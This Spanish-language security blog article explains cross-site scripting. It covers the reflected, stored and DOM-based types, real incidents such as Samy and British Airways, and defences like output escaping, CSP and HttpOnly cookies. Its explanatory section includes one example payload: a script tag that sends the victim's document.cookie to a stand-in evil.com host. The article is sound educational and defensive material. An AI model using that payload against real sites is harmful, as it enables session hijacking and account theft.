XSS (Cross-Site Scripting): cómo los atacantes ejecutan código en tu navegador

XSS (Cross-Site Scripting): cómo los atacantes ejecutan código en tu navegador

Un ataque XSS (Cross-Site Scripting) permite que un atacante ejecute código JavaScript malicioso dentro de tu navegador, usando una web legítima como vehículo. No necesita que descargues nada. No necesita que instales nada. Solo que visites una página — o hagas clic en un enlace — que alguien ha manipulado. La inyección JavaScript se cuela en el HTML que el servidor te envía, y tu navegador la ejecuta sin rechistar porque confía en el dominio. El resultado: robo de cookies de sesión, redirecciones a phishing, keyloggers invisibles o secuestro completo de tu cuenta. El XSS reflejado y el XSS almacenado llevan más de dos décadas en el top 10 de OWASP, y siguen ahí porque seguimos cometiendo los mismos errores.

Cómo funciona un ataque XSS paso a paso

El principio es sencillo: si una aplicación web muestra datos del usuario sin sanitizarlos, un atacante puede inyectar código que el navegador interpretará como legítimo. Imagina un buscador interno que muestra "Resultados para: tu búsqueda". Si ese texto se inserta tal cual en el HTML, basta con buscar <script>document.location='https://evil.com/steal?c='+document.cookie</script> para que el navegador ejecute ese código.

El navegador no distingue entre el JavaScript legítimo de la página y el que ha colado el atacante. Para él, todo viene del mismo origen. Esa es la trampa: el cross site scripting explota la confianza que el navegador deposita en el dominio que está visitando.

Lo que el atacante consigue depende de su creatividad. Lo más habitual: robar la cookie de sesión para suplantar al usuario, modificar el DOM para mostrar formularios falsos de login, redirigir a páginas de phishing como los que suplantan Netflix o Disney+, o instalar un keylogger que capture todo lo que escribes en esa pestaña.

Los tres tipos de XSS que debes conocer

No todos los ataques de inyección JavaScript funcionan igual. La diferencia está en dónde se almacena el payload y cómo llega al navegador de la víctima.

XSS reflejado (reflected)

El código malicioso viaja en la propia URL o en los parámetros de una petición. El servidor lo recibe, lo incluye en la respuesta HTML sin filtrar, y el navegador lo ejecuta. Es el tipo más común. El atacante necesita que la víctima haga clic en un enlace manipulado — normalmente distribuido por email, redes sociales o mensajería.

Ejemplo real: en enero de 2019, Check Point Research publicó una vulnerabilidad de XSS reflejado en un subdominio legacy de Epic Games que permitía acceder a cuentas de Fortnite simplemente enviando un enlace. Millones de usuarios expuestos por un parámetro sin sanitizar en una página antigua que seguía activa.

XSS almacenado (stored o persistente)

El payload se guarda en el servidor — en una base de datos, un comentario, un perfil de usuario — y se sirve a todos los que visitan esa página. Es más peligroso porque no requiere que la víctima haga clic en nada especial: basta con visitar la página infectada. Foros, secciones de comentarios y plataformas de mensajería son los objetivos habituales.

El XSS almacenado fue protagonista del gusano Samy (2005), que infectó más de un millón de perfiles de MySpace en menos de 24 horas. Cada perfil infectado propagaba el código a quien lo visitara. Técnicamente brillante; legalmente, un desastre para su creador.

XSS basado en DOM

Aquí el servidor no interviene. El código malicioso se ejecuta directamente en el navegador manipulando el DOM (Document Object Model) mediante JavaScript del lado cliente. Si una aplicación lee window.location.hash y lo inserta en la página sin validar, un atacante puede explotar eso sin que el payload pase jamás por el servidor. Esto lo hace invisible para los WAF (Web Application Firewalls) tradicionales que solo inspeccionan tráfico servidor-cliente.

TipoPersistenciaVectorDetección
ReflejadoNo persisteURL / parámetrosMedio (visible en logs)
AlmacenadoPersiste en servidorFormularios, APIsFácil (está en la BD)
DOM-basedNo persisteJavaScript clienteDifícil (no pasa por servidor)

Casos reales: el XSS no es solo teoría

A quien piense que el cross site scripting es un ataque menor o de aficionados, los números le quitan la razón rápido.

  • British Airways (2018): un grupo conocido como Magecart inyectó un script de XSS almacenado en la página de pagos. Capturaron datos de tarjetas de crédito de aproximadamente 380.000 transacciones. La ICO (regulador británico de protección de datos) impuso una multa inicial de 183 millones de libras bajo el RGPD, posteriormente reducida.
  • eBay (2015-2016): vulnerabilidades de ataque XSS en listados de productos permitían inyectar código en las descripciones. Los atacantes redirigían a compradores a páginas falsas de pago. eBay tardó meses en parchear completamente el problema.
  • Apache.org (2010): un XSS en el sistema de seguimiento de incidencias JIRA permitió robar cookies de sesión de administradores del proyecto Apache. Desde ahí, los atacantes escalaron privilegios.

Si gestionas cualquier proyecto web — aunque sea un sitio corporativo básico o una app interna — el XSS debería estar en tu lista de amenazas prioritarias. No es exclusivo de grandes empresas.

Cómo protegerte del XSS (si desarrollas) y cómo detectarlo (si navegas)

La defensa contra la inyección JavaScript tiene dos caras: la del desarrollador que construye la aplicación y la del usuario que la visita.

Para desarrolladores

  • Escapar todo el output: cualquier dato que provenga del usuario debe ser codificado antes de insertarlo en HTML, atributos, JavaScript o CSS. Usa las funciones nativas de tu framework: htmlspecialchars() en PHP, textContent en lugar de innerHTML en JS, plantillas con auto-escaping en Django, Rails o React.
  • Content Security Policy (CSP): cabecera HTTP que indica al navegador qué scripts puede ejecutar y desde qué orígenes. Una CSP bien configurada bloquea la ejecución de scripts inline inyectados. Google la usa desde 2016 en todos sus productos.
  • Validar en servidor: la validación en cliente se salta con las DevTools del navegador en 30 segundos. Toda validación y sanitización debe ocurrir en el servidor. Las cookies de sesión deben llevar los flags HttpOnly y Secure, impidiendo que JavaScript acceda a ellas.
  • Usar frameworks modernos: React, Vue y Angular escapan el output por defecto. No uses dangerouslySetInnerHTML (React) o v-html (Vue) salvo que estés absolutamente seguro de la fuente.
  • Herramientas de auditoría: OWASP ZAP (gratuito), Burp Suite, y Snyk pueden detectar vulnerabilidades XSS antes de que lleguen a producción. Intégralos en tu pipeline de CI/CD.

Para usuarios

  • Mantén el navegador actualizado: Chrome, Firefox y Edge incorporan protecciones contra ciertos tipos de XSS reflejado.
  • Extensiones como uBlock Origin: bloquean scripts de dominios sospechosos y reducen la superficie de ataque.
  • Desconfía de URLs largas y extrañas: si un enlace contiene caracteres codificados sospechosos (%3Cscript%3E), no hagas clic. Esto se aplica especialmente a enlaces recibidos por email o mensajería — el mismo principio que con el SIM swapping u otros ataques de ingeniería social.
  • Revisa tus sesiones activas: servicios como Google, GitHub o tu banco permiten ver y cerrar sesiones. Si sospechas que alguien ha robado tu cookie, cierra todas las sesiones y cambia la contraseña.

XSS y la cadena de ataque: no viene solo

Un ataque XSS rara vez es el objetivo final. Funciona como puerta de entrada. El atacante inyecta un script que roba una cookie de sesión. Con esa cookie, accede a la cuenta de la víctima. Desde esa cuenta con privilegios, puede escalar hasta comprometer el servidor. Es la misma lógica que vimos con los droppers y loaders de malware: el primer paso parece inofensivo, pero abre el camino a una cadena de compromiso.

La combinación más habitual es XSS + CSRF (Cross-Site Request Forgery). El script inyectado ejecuta acciones en nombre del usuario — cambiar su email, transferir fondos, modificar permisos — sin que este vea nada extraño. Otra combinación frecuente: XSS como vector para distribuir exploits de navegador, descargando malware sin interacción del usuario (drive-by download).

Para las empresas que deben cumplir el RGPD (Reglamento General de Protección de Datos de la UE), un XSS que exponga datos personales de usuarios europeos puede derivar en sanciones de hasta el 4% de la facturación anual global. La formación del equipo técnico no es opcional: es una obligación de diligencia.

Preguntas frecuentes

¿Cuál es la diferencia entre XSS y SQL injection?

El XSS inyecta código que se ejecuta en el navegador de la víctima (lado cliente). La inyección SQL ataca la base de datos del servidor (lado servidor). Ambos explotan la falta de sanitización de entradas, pero el objetivo y el impacto son diferentes: el XSS compromete al usuario, la SQLi compromete los datos del servidor.

¿Puede un antivirus detectar un ataque XSS?

La mayoría de antivirus no detectan XSS porque el código malicioso se ejecuta dentro del contexto legítimo del navegador. Algunas suites de seguridad con protección web pueden bloquear URLs conocidas como maliciosas, pero no el XSS en sí. La defensa real está en la aplicación web y en las cabeceras de seguridad del servidor.

¿Puedo comprobar si una web es vulnerable a XSS?

Sí, pero solo en webs que te pertenezcan o para las que tengas autorización explícita. Herramientas como OWASP ZAP o Burp Suite Community Edition permiten escanear tus propias aplicaciones. Probar vulnerabilidades en sitios ajenos sin permiso es ilegal en la mayoría de jurisdicciones, incluida la legislación española (artículos 197 y 264 del Código Penal).

¿El XSS afecta a aplicaciones móviles?

Sí. Las apps que usan WebViews (componentes que renderizan HTML dentro de la app) son vulnerables a XSS exactamente igual que un navegador. Aplicaciones híbridas construidas con Cordova, Ionic o Capacitor heredan todos los riesgos del XSS si no sanitizan correctamente el contenido que muestran.

El siguiente paso

Abre las DevTools de tu navegador (F12), ve a la pestaña Network y navega por tu propia web o aplicación. Busca cualquier parámetro de URL que se refleje directamente en la página — un campo de búsqueda, un mensaje de error, un nombre de usuario. Si lo que escribes en la URL aparece sin modificar en el HTML de la respuesta, tienes un candidato a XSS reflejado. Empieza por ahí. Aplica htmlspecialchars() o el equivalente de tu framework, activa la cabecera CSP, y marca tus cookies como HttpOnly. Tres acciones, una tarde de trabajo, y tu superficie de ataque se reduce drásticamente.

xss cross site scripting ataque xss inyección javascript xss reflejado almacenado

Artículos relacionados

← Volver al blog